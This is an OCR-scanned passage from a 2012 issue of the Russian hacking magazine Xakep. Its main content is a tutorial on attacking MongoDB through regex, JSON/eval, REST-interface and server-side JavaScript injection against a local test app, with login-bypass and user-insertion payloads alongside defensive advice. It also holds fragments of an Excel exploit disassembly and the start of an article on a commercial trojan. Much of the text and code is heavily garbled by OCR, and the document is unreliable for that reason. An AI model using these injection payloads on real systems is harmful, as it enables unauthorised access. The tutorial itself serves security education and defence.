., t.е.~t.; .J~:!'.ZП.2.:L ... "р'j!sJ1_ ...... е.Рр ...... _ .................. _ ......... __ ....... ___ .......... .. · t.e~1; :;!E.'I.:!.п.~.6.4. ...... !!I'O.Y...... .еЬр, esP. ....... .. ,.1;ext ;. 3~.1.n .. 2J!.g ... ... т.ОУ . .. NX, . [ebR:I:!3r.g_~J .... . . . .tехt :38;1,z:пg~ ...... QЧ5h . esi ____ .... __ ...... __ . · t.ех:t. : .. ~.!JJz].~RА ..... !ПQу ........... еsi., . [eд~:!:~Ab1 ... _ .. : ..... _ ..................... . .,text .: 1~:!'2.П.@ ... .. J!цsh __ .. .. еs.i ............................... __ ................................. . '. te><:t;. :..з.jjJ.2п6.~ ........ с.!'!ц __ ... MSO _BfJ.'I ... ~.[;!~}.05;!8C1 ........................... .

Функция MSO_B04 увеличивает свой аргумент на Ох3с и возвра­щает полученный результат.

З~Е~7.Е!3.8 ............. _ ........... __ Р.Ц.5Н .EIH' " ... ЗЩ2}F~.1

З8Е2П.ВЗ

................ MQI( . ~J1 Р , Е $ Р ... __ .................................................. . . MOV .. .EAX, DЩЩD ... I'TR .. S.$ :jE.l;!,f'.±JH ........... .

З8Е27.FВб . ТEST ЕАХ, ~AX_ .. __ .. __ ............. . з8Е2.7J:.~.6 ............... _ ........... .J.~. !!Is'o .).8C?A~.?2 ........ ___ ................................... .. з.8 ~ ~ j'I.BJ ................................ ~OV EAX4 D.WP,R,O РТВ .. J>.S.;Л8Х±ЗС 1 ......... .. З.~Е 2} F.CJ ............................... J)Q.f' ... ~ Е1Р.... ........................................................... .. З.~Е.ПЕ.Сz .............................. В.~.Пу ... 4. ........................................................................ .

Значение, возвращаемое функцией MSO_B04 (до сих пор на­ходящееся под нашим контролем) сохраняется в регистре есх. Азатем следует констркуция call dword ptr [есХ+Ох11] .. .

., .t .е~.t .:).8;J..П.П4 ... _ .. tg.5:t; ... __ .... ea.x~ ... ea.X ..... __ .. _ ... __ ....... __ ... ___ ......... __ ....... .. · tе ~t. : .. з.е..:J,ппg ...... j .;I; .......... __ s.b9r,t .. ~ .. осз.~J2Пя!; ........................... _. , 1;.ехt. :.зю .. 4.? .. 27..6 ....... -"jQУ ....... е .с ~, .. [e .. a.>I} __ ................. __ ............... _.... __ .. ... text. :;!!ЗJ.4Z.П.А ..... JJ~a ... edx, [еЬр±а r:-,g_!JJ ............ ___ ._ ._ ...... . .t.e.xt.;3~J.Z}.nQ ..... R.lJsh.... edx ........................................... _ .. . , t.е~.t .;)~пПл. __ .. l2у. s .h.__ 8BEh ............................................................. . ,.:text .. : з.~,цПJ3J ........ р.\.J .$.h.... e.si .................................................................. .. .,t.e>$1;.: з~12П.!!.4 ...... .R.u.s.h .......... еах...... __ ....................... ____ . · tех1; .. ;э .. E.'I.1.J.П.65 ........ с!'!J.1 ....... g.W.QГd .. Rtr:-.. Jе..с:.1<.±J1сJ:й ........ .. ... ~ .... ~=.~ .. .де.R.ед<J .. е.М ... у!J l2iJ.!3IJe.H~e. Н.!'! .. лш),е.;!ij.УJ9 .... Нii[.РУ.<! ку .

1,.';111" Microsoft Office ExceI200210.2614.2625 Service Pack O(Office ХР) оп Windows ХР SP3, Microsoft Office Excel2002 10.6501.6626 Service Pack 3 (Office ХР SP3) оп Windows ХР SP3 .

Существует обновлен ие, устраня ющее эту уязвимость . ::Х::

ХАКЕР 02/157/2012

Page 59: Xakep 02_2012

А Апьфа· Банк

Оформить дебетовую или кредитную «Мужскую карту» можно в отделениях

ОДА «Альфа-Банка», а так же заказав по телефонам:

(495) 229-2222 в Москве 18-800-333-2-3~3 в регионах России (звонок бесплатный) или на сайте

www.mancard.ru

ОАО «Альфа-Банк». Генеральная лицензия банка России на осуществление банковских операций от 29.01.1998 N2IЗ2б"

Page 60: Xakep 02_2012
Page 61: Xakep 02_2012

ЧТО ТАКОЕ NOSQL Думаю, ты знаком с реляционной моделью СУБД, согласно которой

база данны х состоит из сущностей (таблицl, связанных между собой . Доступ к данным осуществляется с помощью SQL - структуриро­

ванного языка запросов. За примерами реляционных СУБД далеко

ходить не надо: MySQL, Oracle, Microsoft SQL Server. Все остальные СУБД, архитектура которым отличается от классической реляцион­

ной модели, смело можно отнести к классу NoSQL-решений:

различные варианты хе ш-таблиц (Redis, BigTabIe, memcachedl; • документо-ориентированные базы данных (MongoDB, CouchDBI; • базы данных, основанные на графах (Ne04j, Sones GraphDBI; • объектно-ориентированные базы данны х (db40, Cache, Jadel; • ХМ L-ориентированные базы данных (eXist, BaseXI.

Основное отличие NoSQL-СУБД от их SQL-ориентированных конку­

рентов заключается в отсутствии единого, унифицированного языка

запросов. Например, MongoDB используетв качестве языка запросов BSON, eXist применяетХQuегу, а Sonic GгарhDВтребуетотразработчика знания GraphQL, языка запросов кданным, имеющим вид графов. По­пулярность NoSQL-СУБД растетс каждым днем, что не может не сказы­

ваться на нас стобой. Совсем скоро, буквальнозавтра, тебе придется

искать не SQL-инъекции, а NoSQL-инъекции в очередном проекте .

Не будем терять времени и поговорим о потенциальныхуязвимостях.

ТАК ЛИ БЕЗОПАСНЫ NОSQL-СУБ ? Довольно часто я слышу утверждение, что нереляционные СУБД

безопасны, так как они не используют SQL и злоумышленник не может провести на них атаки типа SQL-injection. В какой-то степени это верно: нет SQL - нет SQL-инъекциЙ. Но, если в си­

стему невозможно внедрить SQL-KOA, это еще не значит, что она безопасна. NoSQL закрывает одну потенциальную уязвимость, при этом открывая с десяток други х, которые позволяют совершать

разнообразные вредоносные действия:

• манипулировать с RЕSТ-интерфейсом и подделывать межсайто­выезапросы (CSRFI;

• использовать регулярные выражения в параметрах запроса;

• выпол нять скри пты на сервере, если на нем установлена NoSQL­СУБД (например, MongoDB позволяет запускать JаvаSсгiрt-коАI; получать доступ кданным через специальный интерфейс, под­держиваемый СУБД (SQL в реляционны х базах данных, BSON в MongoDB и т. A.I, и, если используется язык запросов, «испра в­лять» эти запросы.

Рассмотрим типовую архитектуру приложения с доступом к храни­

лищу данных NoSQL. Обычно она состоит из трех уро вней: • приложение;

• AP I базы данных NoSQL; • NoSQL-СУБД.

Злоумышленник может атаковать каждый из этих уровней . Нач­

нем с самого нижнего уровня, то есть непосредственно с СУБД. Как

и любое приложение, СУБД может быть подвержена атакам перепол­

нения буфера или иметь уязвимую схему аутентификации . Атаковать

2004 2005 2006 2007 2008 2009 2010

Статистика поисковых запросов о NoSQL в Google Iпsights

ХАКЕР 02/157/2012

Тотальный дестрой MongoDB

Пример базы данных, построенной на графах

этот уровень довольно сложно, потому что сообщество, сформиро­

вавшееся вокруг продукта, и сама компания - разработчик ста раются

исправлять ошибки rтo мере их обнаружения. Но у тебя есть очень

большое преимущество: большинство программных продуктов

поставляются с исходным кодом, а значит, ты вполне сможешь его

проанализировать и, возможно, найти что-нибудь стоящее . Если тебе

повезет, то в твоих руках окажется ключ практически к любой базе

данных!Следующий уровень - клиентское API. Большинство NoSQL­СУБД имеют целый зоопарк различных библиотек для доступа

к данным . Стоит отметить, что большинство библиотек представляют

собой проекты с открытым исходным кодом, но часть из них уже

не поддерживается. Вероятность обнаружить уязвимость в клиент­

ской библиотеке значительно выше, чем непосредственно в самой

СУБД. И даже если тебе не посчастливится найти ту единственную

уязвимость, которая откроет доступ ко всем приложениям, построен­

ным на основе этого API, ты будешь представлять, как именно прои с­

ходит диалог между клиентским кодом и сервером баз данных, какой используется протокол и можно ли перехватить сессию.

Ну и наконец, верхний уровень - приложение, которое ты соби­раешься взломать . Здесь тебе прежде всего нужно найти те места,

где программист забыл проверить входные данные, и попытаться

их проэксплуатировать. В данном случае нужно использовать тот

же подход , что и при поиске SQL-инъекций, то есть аналиэировать

код и сообщения об ошибках, только на этот раз придется разби­

раться с JSON, JavaScript или чем-то подобным .

Итак, настало время для взлома! Сегодня нашей целью будет

MongoDB - одна из самых распространенных NoSQL-СУБД .

NОSQL-ИНЪЕК ИИ В MONGODB МЫ будем взламывать небольшое wеЬ-приложение. Его исходный код

и весь необходимый софтты найдешь на диске, прилагаемом к журналу

(процесс установки подробно описан в файле README.RU.txtl. Если установка пройдет успешно, то приложение должно быть доступно

по адресу httр://127.0 . 0 . 1:ЗlЗЗ7. Основные атаки, о которых сегодня пойдет речь:

инъекции в регулярных выражениях;

• JSОN-инъекции;

манипуляции с RЕSТ-интерфейсом;

• JаvаSсгiрt-инъекции.

Начнем со взлома при помощи ошибок в использовании регулярных

выражений.

MongoDB, как и многие другие NoSQL-СУБД, позволяет осущест­влять поиск с помощью регулярных выражений . Это очень мощное,

059

Page 62: Xakep 02_2012

взлом

·~ J I ' · · ' .1 1 С .. ; C:\ Program Files\mопgоdЬ-wiп32 - i38б- . . . + - ] C:::> , I @ I~

~ I п 127.0.0.1:28017 «:> • с 11 ~t · Google Р I • 1.1- L...:. А

C:\Program Filеs\mопgоdЬ-wiпЗ2-iЗ86-2.0.1\Ып\mопgоd.ехе г'

List all commands I Replica set status I j l

I Commands: buildlnfo cuгsor1nfo featuгes isMasteг listDatabases гeplSetGetStatus serveгStatus!.Q.p I .

~ dЬ vеrзiоn v2 . 0.1, pdfile vеrзiоn 4.5 git hазh: За5сfОе2 1З4а8ЗОdЗ8d2d1аае7е88сасЗ1Ьdd684

зуз info: windоwз (5, 1, 2600, 2, 'Service Pack З') БООSТ_LIВ_VERSIОN=1_42 ! uptime: 44 зесоndз

low level гequiгes гead lock

time СО чес readlock: Оmз

f dаtаЬазез: 1

replication: mазtеr: О

зlаvе: О

clients

ICllent I Opld ,Actlve Lock1Ype 1 Walting : SecsRunnlng Ор

Web-интерфейс MongoDB

но в то же время опасное средство, кото рое может нанести суще­

ственный вред при неправильном и с пользовании.

Для п оиска с помощью регулярных выражений в MongoDB используют оператор $regex. Наприм ер, запрос «ве рни м не всех пользователей, логин которых начинается с ··ГО"", будет выглядеть

следующим образом :

dЬ . usеrs.fiпd({.. lоg:!,о; .. {...$геgех : " Л rо" } }) . .................... ..

Кстати , если ты не знаком с языком запросов MongoDB, то рекомендую начать его изучение с руководства разработчика ,

кото рое на ходится по адресу bi!.ly/cqW1 RH . Но вернемся к нашему приложению. Откро й тестовый web-сайт и выбери пункт «И нъек­

ции В регулярных выражения х" в меню MongoDB. Посмотрим, как устроена эта страница. Открой файл mongodb.j5 в папке Lib. В нем реализован класс MongoDbCon!roller, который отвечает за функ-

ГЛОССАРИЙ

• REST (Rергеsепtаtiопаl state transferl- подход к разработке архитектуры распределенных систем, который подразумевает,

что каждый объект системы однозначно определяется

глобальным идентификатором, например URL. Каждый URL,

060

в свою очередь, имеет строго определенный формат. Управление

сервисом основано на протоколе передачи данных . Обычно это

НТТР или HTTPS, который поддерживает минимальный набор операций над объектами: GEТ (получить), PUT (добавить) , POST (сохранить) и DELETE (удалить). BSON (Binary JavaScript Object Notation) - это бинарная форма

представления простых структур данных и ассоциативных

массивов. Название произошло от широко распространенного

формата обмена данными JSON инеофициально расшифровывается как бинарный JSON (Binary JSON).

1 -'-

• Namespace Query cllent i msg progressl

ционирование все х страниц в приложении . Сейчас нас интересует

метод regexp:

var rеgехр"w.Q ... = .. п еl1 RеgЕхр (" Л " t .. раsswоrd, .. ~' i ~'.);

var lQgiПР<lГ<lm ... = .. { lоgiп : lоgiПJ passwQrc!.: regexpPwd };

Как видишь, аутентификация пользователя происходит по­

средством запроса , который указывает регулярное выражение

в качестве пароля . При зтом переменная pa55word никак не филь ­

труется, что открывает нам полную свободу де йствий. Здесь ты

можешь указать имя пользователя го о! и регулярное выражение

вместо пароля, напр имер [\ 5\ 5]*. В результате MongoDB выполнит следующий запрос : db.users. findOne( {lоgiп: ' root' , pa55word: /Л [ \S\S] */i}) , и ты ус пешн о войдешь на уяз вимый сайт под логином

го о! I этот прием напоминает классическую 5QL-инъекцию «1' ог 1=1 __ »]. За щититься от подобной атаки довол ьно п рост о. В о- п ервых,

всегда проверяй входные данные, откуда бы о ни н и п оступили ­

напрямую от пользователя , или и з внешнего файла, или из базы

данны х. Перед использованием данны х в программе их следует

проверять. В о- вторых, используй регулярные выражения только

в тех случаях, когда зто действительно необходимо. Например,

приведенный выше запрос можно переписать вот таким образом:

с!Ь. USeT$ .fiпd.Оп.е( CJ.ogin:. 'root ' ~ pa~s)'!Qr.d ; ... '[email protected] ' })

Как видишь, он безопаснее и при зтом выполняется быстрее .

JSОN -ИНЪЕК ИИ Да , MongoDB не подде рживает 5QL, но СУБД не может обойтись без языка за просо в . Разработчики MongoDB решили использовать вм есто 5QL популярнейший текстовый формат обмена данными J50N IB50N]. Та ким образом, можно попробовать осуществить разного рода атаки-инъекции (конечно, если в ходные данные

не фильтруются]. Такие атаки обычно называют J50N-инъекциями . Итак, сно ва открывай наше приложен ие и переходи на страницу

« J50N-инъекции ». Как и в предыдущем пр име р е, ты увидишь поле

для ввода имени пользователя и пароля . Давай рассмотрим код,

ХАКЕР 02/157/2012

Page 63: Xakep 02_2012

отвечающий за процесс аутентификации на этой странице . Он со­

держится в методе json-injection класса MongoDbController:

v а r 1Qgi,n р а r а П! ... :о .. еv а 1 с: и .. lp,Rin.: ... '."_± .. .1pg iл .. :t ... ::.:., .... .pa~.~.wo~d .. : ... .' .. ~ ... ± .. P.asswQr.d ... ±. о, ' Н");

Вышеприведенный код преобразует текстовое представление

объекта JavaScript Iзапроса к MongoDB) в объект. После передачи этого объекта на сервер баз данны х происходит аутентификация

пользователя . В этом куске кода есть одно очень слабое место­

входные данные никак не контролируются, поэтому ты можешь

сформировать практически любой запрос к базе! Например, укажи

имя пользователя «root ' })//» Iпароль вводить необязательно) и нажми на кнопку « Войти». Поздравляю, ты снова вошел в систе­

му! Как так получилось? Все очень просто. Ты указал имя пользо­

вателя «root'})//», и в функции eval произошел следующий фокус

I/ПеРJ'!АiJнное .3ЩI'jение .. . ............... . .................. . ({!ogi.o : ... ' rppj;.'JJ LJ ', .. P<J.s~.WQrQ.: .... ' . .' ... JJ ................................. .. I/Лоnу.'шршиЙс.я .. ,з.i!ПРРС ............................................................. . db. \J.sj:!.r'.~ • .find,on.~({ . 1оgi,л; .... .'. г.QоJ . ' ... Н ........... ..

На самом деле этот скрипт даже еще опаснее, так как с его

помощью ты можешь выполнить любой код JavaScript на web­сервере. Например, имя пользователя «' + process.execPath))//» сформирует запрос вида

Уязвимости такого типа называются Server Side JavaScript Injections или просто SSJI. Как же защититься от подобны х атак?

1. Проверяй вседанные из внешних источников . Например, логин должен соответствовать регулярному выражения «Л [а-zА-Z]+$ » .

2. Никогда не используй функцию еvаlдля работы cJSON. В Node. js доступна функция JSON .parse, которая парсит входную строку исоздаетобъектнаееоснове.

В связи с бурным развитием интернета и сервис-ориентированной

архитектуры ISOA) все большую популярность набирают REST­решения . Так как большинство современных нереляционных СУБД

организовано в соответствии с последними тенденциям в индустрии,

то многие из таких систем либо сами реализуют REST, либо исполь­зуют сторонние продукты для доступа к данным с помощью RESТful­

архитектуры. MongoDB не исключение : в эту СУБД входит простой

RЕSТ-интерфейс который позволяет получить доступ к данным в ре­

жиме «Только чтение». Кроме того, существует проект под названием

Sleepy Mongoose, который реализует полную поддержку REST. Давай посмотрим, как работает RЕSТ-интерфейс, встроенный

в MongoDB. Сервер СУБД должен быть запущен с пара метром «- ­rest». RЕSТ-сер вис ДOCTy~eH по адресу http://127.0.0.1 :28017/ Это очень простое web-приложение, которое отображает информацию

о текущем состоянии СУБД и позволяет формировать запросы

к базам данных. Вот несколько интересных ссылок:

ВI C:\Windows\system32\cmd.exe - mongo secure_nosql

Mongo - стандартный клиент MongoDB

ХАКЕР 02 /157/ 2012

Тотальный дестрой MongoDB

Приложение

АРI NoSQL СУБД

NоSQLСУБД

Стандартная архитектура доступа к да нным в NoSQL-СУБД

• /listDatabases?text=l - список баз данных;

• /sеrvеrstаtus?tехt=l-текущее состояние сервера.

В общем случае для формирования RЕSТ-запроса к базе данны х

используется URL следующего вида:

ht:tp: 1.f.'J.~7 • е. e .• J:~!!e17 /6а.за.-даННЫХ!ISQллеl<ЦИЯ/'?'

fil ter _!l.оnе=знаЧ.е.Н.И.е

На странице «Ма нипуляции С RЕSТ-интерфейсом » нашего

web-приложения происходит аутентификация пользователя при

помощи RЕSТ-интерфейса MongoDB. Она реализована в методе rest класса MongoDbController:

уаг л~~tQrу = "i~е~.uге_пр.sqJ/usеr.sПfiJtеr _lрg;iл="

.± .. 1Qg:i,!J .. + .. " .~бl ter _pa~.sword=" t .p.a.S ~w.Qrd; ....... уаг tщsh. " rest.Qr'.y.:i.ndexQf.(."#" ); . i f (hi!);.h .. ~ -1) ... {...restQrY .. "' .. r.e.stQry .•. sypstTing{e, ... hash) ; .. J ....

Скрипт формирует RЕSТ-запрос, игнорируя при этом все данные

после символа #. Когда RЕSТ-запрос готов, скрипт формирует НТТР-запрос к серверу и ожидает результат в формате JSON. К примеру, запрос информации о пользователе гоо! в базе данны х

secure_nosql выглядит следующим образом: http://127.0.0.1 :28017/ sec u ге _п osq I/use rs/?fi Ite г J og i n = root& fi Iter _р а ssword =p!iJ sswO rd. В сё бы хорошо, но в коде есть ошибка, проявляющая себя при об­

работке символа #. Если ты попробуешь войти с именем «root#», то окажешься залогиненным в системе. Проблема, обусловленная

формированием следующего URL: http://localhost:28017/secure_

061

Page 64: Xakep 02_2012

взлом

Q "

р ... с- •

-- Пароль:

Страница аутентификация пользователя в тестовом приложении

nosql/users/?filterJogin=root#&filter_password=. состоит в том, что параметр filter_password был проигнорирован и аутентификация проходила посредством запроса http://Iocalhost:2B017/secure_ n osq I/use rs/?fi Ite г J og i п= root .

Стоит отметить, что большинство RЕSТ-интерфейсов также

уязвимы к подделке межсайтовых запросов (CSRF] :

Честно говоря, я довольно скептически отношусь к RESТful ­

архитектуре, так как она открывает большие возможности для

злоумышленников. Постарайся не использовать REST. Но если без него никак, то предварительно прочитай статью Robust Defenses for Cross-Site Request Forgery (bit.ly/cbV LvY], в которой очень под­робно описаны все аспекты безопасности RЕSт.

JАVАSСRIРТ-ИНЪЕК!JИИ Большинство современных реляционных СУБД позволяют созда­

вать х ранимые процедуры. Давай рассмотрим Microsoft SQL Server, который расширяет возможности ANSI SQL и позволяет соблюдать практически любые требования бизнес-приложениЙ. Если тебе

не х ватает возможностей T-SQL (это диалект SQL, реализованный в SQL Server], то ты можешь написать хранимую процедуру на С# или любом другом .NЕТ-совместимом языке.

MongoDB обладает не менее богатыми возможностями , в число

которых входит серверный JavaScri pt. Фактически ты можешь вы­полнить почти любой код на сервере баз данных. С одной стороны,

FAQ ПО NOSQL

КАКОВО ПРОИСХОЖДЕНИЕ ТЕРМИНА

NOSQL? ЧТО ТАКОЕ MONGODB?

зто позволяет писать очень сложные приложения для обработки

данны х, с дру гой - делает твое приложение более уязвимым.

Где можно использовать JavaScript в МопgоDВ? 1. Запросы с оператором $where. Например, запрос db.orders.

find({ $where: "this.amount > 3" }) вернеттебе список заказов, количество пунктов в которых больше трех.

2. Команда db.eval. К примеру, dЬ.еvаl( "fuпсtiоп (х) { return х * х; }", 2) вернет четыре.

З. <IIункции для сохранения в базе данных. MongoDB ПОЗВОJ'iяет сохранять функции, написанные на языке JavaScript, в базе дан­ных . Для зтого используется специальная системная коллекция

system.js. Чтобы создать новую хранимую функцию foo(x], выпол­ни следующий код:

...... qb .я;;.tет .• j s .•. Sqye.(...{. _i.d.; .. ':fQQ" > ... Y.ilJ..lJe ; fuщtj,QГ] ... (Х). .... ..

...... { .re.t u.rn .. x ... ~ .. 1<; . .J}) .. ..... .. .............................. _ ........ _ .................... .

Теперь можешь попробовать вызвать ее воттак: db.eval( "foo(2)" ). 4. Map/Reduce. Мар/Rеduсе-это программный фреймворк, разра­

ботанный компанией Google для параллельны х вычислений над

большими объемами данны х . Он содержит две операции: тар,

используемую для предварительной обработки данных, и reduce, осуществляющую поиск результата.

MongoDB позволяет запускать операции map/reduce на сер­вере баз данны х . Операции по распараллеливанию процессов

и агрегации СУБД берет на себя, от разработчика требуется лишь

указать исходные данные и функции, реализующие команды тар

и reduce. Дополнительная информация доступна в документации на MongoDB (bit.ly/4V7mD].

в нашем тестовом приложении имеется JаvаSсгiрt-инъекция в опе­

раторе $where и аналогичная уязвимость в команде db.eval. Начнем с оператора $where. Открой приложение и выбери пункт

$where в меню «И нъекции JavaSc ript». Аутентификация на страни­це реализована в методе ssji-where класса МопgоDЬСопtгоllе г:

v.'Н: .. j'~"_"' ... :~t.hJ.s .• Jg,giЛ ... ;:~: ... :.:: ... ± .. J .. Qgj,!J ... ± ............. _ .................................. . . ....................... : : .' .~& .. t.tJJ.~., .Р.9sя'iQ.rg ... ~.;:~ ... :.:· ... ± .. pg.s.~WQ.rg ... ± ... ::.'.::; .

у. il г. .. JQg;tлf'.<!Г.<J. !П ... =_ . .{ .. :: $.w.iJ.e.r.e~' ... : ... j..s . .1 ; ....................................................... ..

Сначала генерируется скрипт, который проверяет имя и па-

ПОЧЕМУ NOSQL?

А NoSQL переводится не как «Нет SQL» А MongoDB - это документо-

ориентированная система управления

баэами данных с открытым исходным кодом,

разрабатываемая компанией 10gen с октября 2007 года. Первый релиз MongoDB вышел

А Давай рассмотрим, какие основные

преимущества имеют базы данных

NoSQL по сравнению со своими реляционны­ми собратьями.

(No SQL а! all], а как «Не только SQL» (Not опlу SQL) . Этоттермин возник в 1998 году: именно так Карло Строцци ICarlo Strozzi) назвал свою нереляционную систему управления базами данных.

Второе рождение он получил в 2009-м,

когда Эрик Эванс (Eric Evans) на конферен­ции, посвященной свободным распреде­

ленным базам данных, использовал его для

обозначения нереляционных СУБД и храни­

лищ данных .

Можно считать, что именно эта кон­

ференция положила начало буму NoSQL­решений .

062

в феврале 2009 г\>да . СУБД позиционируется как решение для хранения данных в высоко­

нагруженных проектах . К ее основным

достоинствам можно отнести высокую

производительность, отличную масштабируе­

мость, отказоустойчивость и наличие

обширного сообщества разработчиков

и пользователей. На данный момент среди

пользователей MongoDB присутствуют такие всемирно известные компании, как Disney, SAP, Forbes и другие.

1. Производительность .

Разработчики большинства NoSQL­решений посвящают очень много времени

оптимизациисвоихпроектов.МопgоDВ

позволяет добиться порядка 20000 вставок и 4800 выборок в секунду.

2. Простая настройка репликации баз данных.

МопgоDВпозволяетнастроитьрепликацию

всего лишь с помощью нескольких команд,

.то есть гораздо проще, чем в том же Oracle. З . Множество «плюшек», облегчающих

жизнь программистам.

ХАКЕР 02/157/2012

Page 65: Xakep 02_2012

_ . ..... Поэдравnяю! Ты вошел в системуl

выЙти из сиcreмы.

Успешная аутентификация в тестовом приложении

роль пользователя. К сожалению, данные в переменных password и login никак не проверяются, что позволяет выполнить любой скрипт на сервере.

Теперь давай попробуем войти как root. Введи имя пользова­теля «root' jj» и попробуй войти. Ты в очередной раз успешно залогинишься! Это возможно благодаря тому, что на сервере был

сформирован следующий запрос к MongoDB:

{ .' $whe.re . .' __ : .. ________ . ______ . ____________________ . ______ о ______ о ____________ • __ о __ о ________________ __

.::t.nis.logiJl __ .=.;'=. \ 'TQo:t\ .: __ .U\' __ .1!<& . th.is ... p<;I.~s.woLd __ ===. \' .\ ' .' __ } .

«//» - это комментарий в JavaScript, поэтому результирующий запрос примет вид « this .lоgiп === 'root'» .

К счастью, в момент выполнения запроса база данных находится

в режиме « Только чтение», поэтому злоумышленник не сможет напи­

сать скрипт, модифицирующий твои данные. Но это еще не говорит

отом , что подобная атака невозможна.ОткроЙ страницу « Инъекци и

JavaScript - db.evall __ .I ». На этот раз аутентификация происходит посредством вызова функции еуаl на сервере базы данных :

уа L.. js __ .= __ ".f!JJl~:tJоп __ .О {г.~:tчrfl __ РQ . users ., fitJ.Q.Qn.~ __ {{ .l ogi,f),; ____ :." __ __ t ... lо.g).л __ .t __ .::.:., ____ р;;t.sswоrd.; ____ '.:' __ .t . __ ра.ss.wоrQ .. ±--." . .' ... .}) ; .. .} " .. g ь . . еу' i,11(js.)~ ____ . _____________ . _____________________ .

Как видишь, у тебя есть возможность выполнить любой код

на сервере БД. Попробуй создать нового пользователя pen_test с паролем реп_tеst. Для этого нужно ввести следующий логин:

'. Н, .dQ,!Js~rs , iJJ.s.!H'.t( {JQgj,f),; ____ '.p.en_t.es.t.' ,--. p;;t.s.SWo.rd : .. .: рел_tе.s:t . .'.l)., __ .l __ } __ .! / ________________________ .

Во-первых, ты вошел в систему. Во-вторы х , в базе данных

появился новый пользователь реп_tеst :1.

Тотальный дестрой MongoDB

~ ~--"""""""-- + I.!.:..- "' 1l7JW.:ШIl'-I..,.:;'::: .... ;... _________ .-:. ~ , .. cOL::::!t ... -;;:;;. ____ Р;...:":..:I!:..' ":,, _ . ..... Неправильное имя пonьэоватenя или паJЮl1Ь. Попьпайся еще раз.

Рыщи из сиqемы.

Доступ к тестовому приложению запрещен

Сервер~ый JavaScript обладает огромным потенциалом и в то '

же время несет в себе много опасностей. Одна маленькая ошибка

в коде, и злоумышленник получает доступ к твоему серверу баз

данных. Я настоятельно рекомендую не использовать серверные

скрипты : 85 % запросов можно написать и без них.

ЗАКЛЮЧЕНИЕ В заключение я бы хотел поговорить о том, каким я вижу настоя­

щее и будущее NoSQL-сообщества. Во-первых, ты убедился в том,

что NoSQL-СУБД пока не являются мейнстримом, но уже довольно

близки к этому : появляются новые нереляционные СУБД и проекты,

которые их используют. Как мне кажется, в ближайшем будущем

NoSQL-решения займут относительно большую долю на рынке высо­

конагруженных приложений. Во-вторых, безопасность современных

NoSQL-СУБД оставляет желать лучшего. Если в мире реляционных

баз данных существует один стандартизированный язык запросов

- SQL, то в «нереляционном мире» каждый реализует язык запро­сов, как ему вздумается: JSON, XQuery, RЕSТ-интерфеЙсы. Соответ­ственно, и потенциальных уязвимостей намного больше. Если при

работе с реляционными базами данных было достаточно изучить

SQL-инъекции и способы борьбы с ними Iпри этом ты мог применить уже имеющиеся знания как в MySQL, так и в Oracle или SQL Serverl, то с нереляционными базами данных всё не так просто. Сначала

тебе предстоит разобраться, какой язык запросов используется

в твоей СУБД, как осуществляется доступ к данным и существуют

ли дополнительные возможности, которые можно использовать для

взлома Iнапример, серверный JavaScript в MongoDBI. После сбора информации тебе предстоит найти потенциальные уязвимости в своей системе и способы их устранения.

Я очень надеюсь, что в ближайшем будущем ситуация изменится:

в открытом доступе появится больше информации и защититься

от угроз, связанных с использованием NoSQL-СУБД, будет так же про­

сто, как от обычных SQL-инъекциЙ.::J:

Например, MongoDB имеет встроенную поддержку Map/Reduce и сложных структур данных.

сообщество, которое всегда готово помочь

и исправить найденный тобой баг. В конце

концов, ты сам можешь исправить баг

Порталы и социальные сети: Facebook, Twitter, Liпkеdlп -думаю, ты сможешь про­должить список самостоятельно.

4. Масштабируемость.

Это один из главных козырей NoSOL-СУБД.

Большинство из них поддерживает горизон­

тальное масштабирование, что способствует

существенной экономии средств на обору­

довании, ведь дешевле купитьеще один не­

дорогой сервер для кластера, чем добавить

вкорпоративныйсервердополнительную

пару процессоров и оперативную память.

5. Они дешевле!

Большинство NoSOL-решений-это

проекты с открытым исходным кодом. Ты

можешь скачать их прямо сейчас и начать

использовать. Вокругмногихпроектов

сформировалосьбольшоеисплоченное

ХАКЕР 02/157/ 201 2

или написать необходимое расширение.

Кроме того, можно заметно сэкономить

на расходах на администраторов баз

данных, так как нереляционные СУБД

гораздо проще реляционных и для их

поддержки в большинстве случаев

не требуется специальный сотрудник.

m КТО ИСПОnЬЗУЕТ NOSQL?

А Как видишь, NoSOL-СУБД имеют ряд

неопровержимых преимуществ. Давай

рассмотрим, кто же их использует:

«Облачные» сервисы, а именно Google, Amazon и даже WindowsAzure от Microsoft.

• SaaS. Всё большее число компаний выбира­ет решения Software-as-Service в качестве основной платформы для ведения бизнеса

втех отраслях, где постоянно растут на­

грузки на инфраструктуру. Многие постав­

щики SааS-решений переходят на NoSOL. Так, к примеру, поступил Salesforce.com­лидервобластиSааSСRМ.

Стартапы. Это отдельная категория проектов,

которые запускаются с минимальным бюдже­

том с расчетом на суперприбыли в будущем,

Такие проекты часто выбирают NoSOL­решения, так как они, во-первых, дешевы,

а во-вторых, представляют собой отличный

задел на будущее, если он будетпопулярным.

063

Page 66: Xakep 02_2012

взлом Johnny Catch

" егальны�и

т ОЯН: это как?

На нашем диске ть! найдешь видео, в

котором наглядно

показан процесс

обнаружения трояна

RCS в системе

ПОТРОШИМ КОММЕРЧЕСКИЙ ЗЛОВРЕД REMOTE CONTROL SYSTEM в IТ-сообществе принято считать

безусловным злом любой софт,

который крадет персональные данные

пользователя и приносит огромную прибыль

киберпреступникам. Между тем существуют

вполне легальные компании, которые

разрабатывают и продают трояны.

НЕЛЕГАЛЬНОЕ ЛЕГАЛЬНО Неужели действительно кто-то разрабатывает и продает вредо­

носное ПО легально? Да , только тот же самый софт, за создание

которого еще вчера могли при влечь к ответственности, разраба­

тывается не со злым умыслом, а для решения вполне легитим-

ных задач. Скажем, спецслужбы могут осуществлять с помощью

программ, которые совсем недавно использовались как трояны,

сбор оперативной информации - где тут вредоносность? Восьмого

октября 2011 года крупнейший европейский хакерский клуб Chaos Computer Club [ССС] опубликовал отчет о реверс-инжиниринге трояна , который немецкая полиция якобы использовала не только

для сбора пользовательских данных, но и для скрытой установки

программного обеспечения на зараженные компьютеры. Власти

официально зтот факт подтвердили. А в декабре исследователь и завсегдатай форума XDA-developers Тревор Экхарт обнаружил, что ряд современных смартфонов, в том числе Android и iPhone, скрыто следят за действиями пользователей и передают собранную

«статистику» производителям. Подробнее об этих двух инцидентах

можешь прочитать во врезке. Сейчас же я предлагаю рассмотреть

один из таких «легальных троянов» - Remote Control System, узнать, что о нем говорят разработчики, и разобраться, что он на

самом деле собой представляет.

REMOTECONTROLSYSTEM Скажу прямо, сам производитель предоставляет о программе

крайне скудную информацию. На официальном сайте итальянской

ХАКЕР 02/157/2012

Page 67: Xakep 02_2012

